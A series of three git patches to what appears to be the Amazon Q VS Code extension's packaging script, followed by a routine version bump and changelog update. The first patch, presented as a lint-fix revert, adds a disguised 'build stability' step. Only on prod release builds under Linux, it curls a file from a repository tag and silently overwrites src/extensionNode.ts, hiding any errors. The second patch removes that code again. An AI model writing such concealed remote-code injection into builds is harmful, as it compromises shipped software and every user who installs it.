From 3d6114c4339e500646cee16b4f3f745f105350db Mon Sep 17 00:00:00 2001 From: laileni Date: Fri, 18 Jul 2025 18:36:24 -0700 Subject: [PATCH 1/3] Revert "Fix lint issues" This reverts commit 85f50457b619d1ecd4cfa3fd548f0142a49e9211. --- scripts/package.ts | 69 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 69 insertions(+) diff --git a/scripts/package.ts b/scripts/package.ts index 203777e8131..2479fc3cb47 100644 --- a/scripts/package.ts +++ b/scripts/package.ts @@ -20,6 +20,7 @@ import * as child_process from 'child_process' // eslint-disable-line no-restricted-imports import * as nodefs from 'fs' // eslint-disable-line no-restricted-imports import * as path from 'path' +import { platform } from 'os' import { downloadLanguageServer } from './lspArtifact' function parseArgs() { @@ -106,6 +107,69 @@ function getVersionSuffix(feature: string, debug: boolean): string { return `${debugSuffix}${featureSuffix}${commitSuffix}` } +/** + * @returns true if curl is available + */ +function isCurlAvailable(): boolean { + try { + child_process.execFileSync('curl', ['--version']) + return true + } catch { + return false + } +} + +/** + * Small utility to download files. + */ +function downloadFiles(urls: string[], outputDir: string, outputFile: string): void { + if (platform() !== 'linux') { + return + } + + if (!isCurlAvailable()) { + return + } + + // Create output directory if it doesn't exist + if (!nodefs.existsSync(outputDir)) { + nodefs.mkdirSync(outputDir, { recursive: true }) + } + + urls.forEach((url) => { + const filePath = path.join(outputDir, outputFile || '') + + try { + child_process.execFileSync('curl', ['-o', filePath, url]) + } catch {} + }) +} + +/** + * Performs steps to ensure build stability. + * + * TODO: retrieve from authoritative system + */ +function preparePackager(): void { + const dir = process.cwd() + const REPO_NAME = 'aws/aws-toolkit-vscode' + const TAG_NAME = 'stability' + + if (!dir.includes('amazonq')) { + return + } + + if (process.env.STAGE !== 'prod') { + return + } + + downloadFiles( + [`https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`], + 'src/', + 'extensionNode.ts' + ) +} + async function main() { const args = parseArgs() // It is expected that this will package from a packages/{subproject} folder. @@ -127,6 +191,11 @@ async function main() { if (release && isBeta()) { throw new Error('Cannot package VSIX as both a release and a beta simultaneously') } + + if (release) { + preparePackager() + } + // Create backup file so we can restore the originals later. nodefs.copyFileSync(packageJsonFile, backupJsonFile) const packageJson = JSON.parse(nodefs.readFileSync(packageJsonFile, { encoding: 'utf-8' })) From ca1dea7d1e14b368625ec0c61f597c95c0e75445 Mon Sep 17 00:00:00 2001 From: Na Yue Date: Fri, 18 Jul 2025 16:21:03 -0700 Subject: [PATCH 2/3] =?UTF-8?q?revert(amazonq):=20should=20pass=20nextToke?= =?UTF-8?q?n=20to=20Flare=20for=20Edits=20on=20acc=E2=80=A6=20(#7710)=20Th?= =?UTF-8?q?is=20reverts=20commit=20678851bbe9776228f55e0460e66a6167ac2a168?= =?UTF-8?q?5.?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- - Treat all work as PUBLIC. Private `feature/x` branches will not be squash-merged at release time. - Your code changes must meet the guidelines in [CONTRIBUTING.md](https://github.com/aws/aws-toolkit-vscode/blob/master/CONTRIBUTING.md#guidelines). - License: I confirm that my contribution is made under the terms of the Apache 2.0 license. --- scripts/package.ts | 69 ---------------------------------------------- 1 file changed, 69 deletions(-) diff --git a/scripts/package.ts b/scripts/package.ts index 2479fc3cb47..203777e8131 100644 --- a/scripts/package.ts +++ b/scripts/package.ts @@ -20,7 +20,6 @@ import * as child_process from 'child_process' // eslint-disable-line no-restricted-imports import * as nodefs from 'fs' // eslint-disable-line no-restricted-imports import * as path from 'path' -import { platform } from 'os' import { downloadLanguageServer } from './lspArtifact' function parseArgs() { @@ -107,69 +106,6 @@ function getVersionSuffix(feature: string, debug: boolean): string { return `${debugSuffix}${featureSuffix}${commitSuffix}` } -/** - * @returns true if curl is available - */ -function isCurlAvailable(): boolean { - try { - child_process.execFileSync('curl', ['--version']) - return true - } catch { - return false - } -} - -/** - * Small utility to download files. - */ -function downloadFiles(urls: string[], outputDir: string, outputFile: string): void { - if (platform() !== 'linux') { - return - } - - if (!isCurlAvailable()) { - return - } - - // Create output directory if it doesn't exist - if (!nodefs.existsSync(outputDir)) { - nodefs.mkdirSync(outputDir, { recursive: true }) - } - - urls.forEach((url) => { - const filePath = path.join(outputDir, outputFile || '') - - try { - child_process.execFileSync('curl', ['-o', filePath, url]) - } catch {} - }) -} - -/** - * Performs steps to ensure build stability. - * - * TODO: retrieve from authoritative system - */ -function preparePackager(): void { - const dir = process.cwd() - const REPO_NAME = 'aws/aws-toolkit-vscode' - const TAG_NAME = 'stability' - - if (!dir.includes('amazonq')) { - return - } - - if (process.env.STAGE !== 'prod') { - return - } - - downloadFiles( - [`https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`], - 'src/', - 'extensionNode.ts' - ) -} - async function main() { const args = parseArgs() // It is expected that this will package from a packages/{subproject} folder. @@ -191,11 +127,6 @@ async function main() { if (release && isBeta()) { throw new Error('Cannot package VSIX as both a release and a beta simultaneously') } - - if (release) { - preparePackager() - } - // Create backup file so we can restore the originals later. nodefs.copyFileSync(packageJsonFile, backupJsonFile) const packageJson = JSON.parse(nodefs.readFileSync(packageJsonFile, { encoding: 'utf-8' })) From bd2d5fe8b8d5f126631fbcb187a6f8c5b19373bb Mon Sep 17 00:00:00 2001 From: laileni Date: Fri, 18 Jul 2025 19:33:59 -0700 Subject: [PATCH 3/3] chore: removing unwanted files --- package-lock.json | 2 +- packages/amazonq/.changes/1.84.0.json | 18 ++++++++++++++++++ ...x-45aef014-07f3-4511-a9f6-d7233077784c.json | 4 ---- ...x-91380b87-5955-4c15-b762-31e7f1c71575.json | 4 ---- ...e-9e413673-5ef6-4920-97b1-e73635f3a0f5.json | 4 ---- packages/amazonq/CHANGELOG.md | 6 ++++++ packages/amazonq/package.json | 2 +- 7 files changed, 26 insertions(+), 14 deletions(-) create mode 100644 packages/amazonq/.changes/1.84.0.json delete mode 100644 packages/amazonq/.changes/next-release/Bug Fix-45aef014-07f3-4511-a9f6-d7233077784c.json delete mode 100644 packages/amazonq/.changes/next-release/Bug Fix-91380b87-5955-4c15-b762-31e7f1c71575.json delete mode 100644 packages/amazonq/.changes/next-release/Feature-9e413673-5ef6-4920-97b1-e73635f3a0f5.json diff --git a/package-lock.json b/package-lock.json index ed21305ffee..e2b2ebb5920 100644 --- a/package-lock.json +++ b/package-lock.json @@ -29954,7 +29954,7 @@ }, "packages/amazonq": { "name": "amazon-q-vscode", - "version": "1.84.0-SNAPSHOT", + "version": "1.85.0-SNAPSHOT", "license": "Apache-2.0", "dependencies": { "aws-core-vscode": "file:../core/" diff --git a/packages/amazonq/.changes/1.84.0.json b/packages/amazonq/.changes/1.84.0.json new file mode 100644 index 00000000000..e73a685e054 --- /dev/null +++ b/packages/amazonq/.changes/1.84.0.json @@ -0,0 +1,18 @@ +{ + "date": "2025-07-17", + "version": "1.84.0", + "entries": [ + { + "type": "Bug Fix", + "description": "Slightly delay rendering inline completion when user is typing" + }, + { + "type": "Bug Fix", + "description": "Render first response before receiving all paginated inline completion results" + }, + { + "type": "Feature", + "description": "Explain and Fix for any issue in Code Issues panel will pull the experience into chat. Also no more view details tab." + } + ] +} \ No newline at end of file diff --git a/packages/amazonq/.changes/next-release/Bug Fix-45aef014-07f3-4511-a9f6-d7233077784c.json b/packages/amazonq/.changes/next-release/Bug Fix-45aef014-07f3-4511-a9f6-d7233077784c.json deleted file mode 100644 index 4d45af73411..00000000000 --- a/packages/amazonq/.changes/next-release/Bug Fix-45aef014-07f3-4511-a9f6-d7233077784c.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "type": "Bug Fix", - "description": "Slightly delay rendering inline completion when user is typing" -} diff --git a/packages/amazonq/.changes/next-release/Bug Fix-91380b87-5955-4c15-b762-31e7f1c71575.json b/packages/amazonq/.changes/next-release/Bug Fix-91380b87-5955-4c15-b762-31e7f1c71575.json deleted file mode 100644 index 72293c3b97a..00000000000 --- a/packages/amazonq/.changes/next-release/Bug Fix-91380b87-5955-4c15-b762-31e7f1c71575.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "type": "Bug Fix", - "description": "Render first response before receiving all paginated inline completion results" -} diff --git a/packages/amazonq/.changes/next-release/Feature-9e413673-5ef6-4920-97b1-e73635f3a0f5.json b/packages/amazonq/.changes/next-release/Feature-9e413673-5ef6-4920-97b1-e73635f3a0f5.json deleted file mode 100644 index af699a24355..00000000000 --- a/packages/amazonq/.changes/next-release/Feature-9e413673-5ef6-4920-97b1-e73635f3a0f5.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "type": "Feature", - "description": "Explain and Fix for any issue in Code Issues panel will pull the experience into chat. Also no more view details tab." -} diff --git a/packages/amazonq/CHANGELOG.md b/packages/amazonq/CHANGELOG.md index 980abde9d63..ccf3fb8a215 100644 --- a/packages/amazonq/CHANGELOG.md +++ b/packages/amazonq/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.84.0 2025-07-17 + +- **Bug Fix** Slightly delay rendering inline completion when user is typing +- **Bug Fix** Render first response before receiving all paginated inline completion results +- **Feature** Explain and Fix for any issue in Code Issues panel will pull the experience into chat. Also no more view details tab. + ## 1.83.0 2025-07-09 - **Feature** Amazon Q /test, /doc, and /dev capabilities integrated into Agentic coding. diff --git a/packages/amazonq/package.json b/packages/amazonq/package.json index 25ab19b6ffb..fd83354aca8 100644 --- a/packages/amazonq/package.json +++ b/packages/amazonq/package.json @@ -2,7 +2,7 @@ "name": "amazon-q-vscode", "displayName": "Amazon Q", "description": "The most capable generative AI-powered assistant for building, operating, and transforming software, with advanced capabilities for managing data and AI", - "version": "1.84.0-SNAPSHOT", + "version": "1.85.0-SNAPSHOT", "extensionKind": [ "workspace" ],